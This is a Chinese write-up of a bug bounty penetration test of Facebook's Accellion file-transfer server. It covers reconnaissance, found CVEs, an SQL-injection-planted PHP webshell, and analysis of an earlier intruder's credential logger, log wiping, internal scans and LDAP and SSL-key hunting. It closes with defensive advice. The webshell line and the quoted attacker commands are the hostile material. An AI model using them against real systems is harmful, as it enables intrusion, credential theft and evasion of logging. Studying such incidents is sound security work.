【老文】渗透Facebook 的思路与发现
字数 2600 2025-08-29 08:32:09
Facebook渗透测试实战分析:从信息收集到内网入侵
1. 渗透测试方法论概述
渗透测试人员通常分为两种偏好:
- Client Side攻击:针对客户端漏洞
- Server Side攻击:直接控制服务器获取shell权限
理想渗透测试应结合两者,但本文重点在于Server Side攻击,特别是针对Facebook这类大型企业的渗透思路。
2. 目标范围界定与信息收集
2.1 初始侦查
- Google Hacking:搜索公开信息
- IP范围分析:B段/C段IP扫描
- Whois查询:域名注册信息
- Reverse Whois:通过注册邮箱反查相关域名
- 子域名枚举:猜测和扫描子域名
- 技术栈分析:公司常用技术和设备
- 代码泄露检查:Github, Pastebin等平台
2.2 Facebook特定发现
通过Reverse Whois发现内部域名:
- tfbnw.net(TheFacebook Network缩写)
- 关键服务器:
vpn.tfbnw.net(Juniper SSL VPN)
扫描同网段发现的重要服务:
- Mail Server (Outlook Web App)
- F5 BIGIP SSL VPN
- Cisco ASA SSL VPN
- Oracle E-Business
- MobileIron MDM
3. 关键漏洞发现:Accellion FTA
3.1 目标识别
发现关键服务器:files.fb.com(Accellion Secure File Transfer)
3.2 已知漏洞检查
检查公开漏洞:
- CVE-2015-2856/2857(通过
/tws/getStatus泄露版本信息) - 目标系统已升级至0.20版本,修补了已知漏洞
3.3 白盒审计与0-Day挖掘
由于黑盒测试无果,转向白盒审计:
- 获取源码:通过多种方式获取旧版FTA源码
- 架构分析:
- 网页端:Perl + PHP
- PHP源码经过IonCube加密
- 后台运行多个Perl守护进程
- 解密过程:
- 使用工具解密IonCube(版本较旧)
- 修复PHP版本兼容性问题
3.4 发现的漏洞
共发现7个漏洞:
- XSS漏洞 ×3
- 预认证SQL注入导致RCE
- 已知密钥导致RCE
- 本地权限提升 ×2
最终获得4个CVE编号:
- CVE-2016-2350
- CVE-2016-2351
- CVE-2016-2352
- CVE-2016-2353
4. 入侵与后渗透
4.1 初始访问
利用预认证SQL注入写入Webshell:
<?php echo shell_exec($_GET['c']); ?>
4.2 环境评估
Facebook服务器限制:
- 防火墙限制:无法外连TCP/UDP/53/80/443
- 日志监控:
- 远程Syslog服务器
- Auditd记录开启
- 解决方案:考虑ICMP隧道(但仅用于Bug Bounty无需复杂操作)
4.3 发现前人入侵痕迹
在/var/opt/apache/php_error_log中发现异常PHP错误,追踪发现遗留Webshell:
bN3d10Aw.php:基本命令执行uploader.php:文件上传d.php:包含加密远程文件sclient_user_class_standard.inc:密码记录器
4.4 密码记录器分析
sclient_user_class_standard.inc关键功能:
- 包含原始认证文件
sclient_user_class_standard.inc.orig - 记录所有认证请求到
/home/seos/courier/B3dKe9sQaa0L.log - 记录内容:
- 时间戳
- 客户端IP
- User-Agent
- GET/POST/COOKIE参数
发现约300笔@fb.com和@facebook.com员工凭证,可访问:
- Mail OWA
- VPN服务
- 其他内部系统
4.5 攻击者活动分析
从access.log中发现的攻击者行为模式:
- 定期清理日志:
cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log - 内网探测:
- DNS查询:
dig a archibus.thefacebook.com - 端口扫描:
telnet records.fb.com 80 - 大规模IP扫描:
for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done
- DNS查询:
- 尝试LDAP访问:
ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w s base (objectclass=*) - 访问内部资源:
- Mail OWA:
https://mail.thefacebook.com/owa/ - 尝试SVN和开发服务器:
svn.thefacebook.com,sb-dev.thefacebook.com
- Mail OWA:
- SSL证书窃取尝试:
- 检查
/etc/opt/apache/ssl.crt/server.crt - 查找私钥
/etc/opt/apache/ssl.key/server.key
- 检查
5. 时间线与入侵分析
5.1 两个明显攻击时间段
-
七月初:
- 行为特征:服务器"浏览"
- 时间点接近CVE-2015-2857漏洞公开
- 可能利用1-day或0-day漏洞
-
九月中旬:
- 更恶意行为:部署密码记录器
- 定期收集和清理日志
- 广泛内网探测
5.2 攻击者特征
- 操作习惯不佳:
- 使用GET请求传递敏感参数
- 未正确处理STDERR导致错误泄露
- 留下明显日志痕迹
- 可能不是专业APT组织
6. 防御建议
6.1 针对Accellion FTA
- 及时更新到最新版本
- 监控
/tws/getStatus等敏感端点访问 - 定期审计Perl和PHP代码
6.2 通用防御措施
- 网络边界防护:
- 严格限制边界设备访问
- 定期扫描和评估暴露面
- 日志监控:
- 集中化日志管理
- 设置异常访问告警
- 凭证保护:
- 强制多因素认证
- 定期轮换凭证
- 监控异常认证尝试
- 入侵检测:
- Webshell特征检测
- 异常进程监控
- 网络分段:
- 关键系统隔离
- 最小权限访问控制
7. 渗透测试关键点总结
- 信息收集是基础:Whois、子域名、IP扫描等
- 关注边界设备:VPN、文件传输系统等
- 1-day与0-day并重:公开漏洞利用和自主挖掘结合
- 后渗透要谨慎:评估环境限制,避免触发警报
- 注意攻击痕迹:可能发现前人入侵证据
- 完整记录证据:日志、截图、时间线对报告至关重要
通过此案例可以看出,即使是Facebook这样的科技巨头,在复杂的网络环境中也难免存在安全盲点,渗透测试人员需要具备系统化的思维和耐心才能发现这些深层次的安全问题。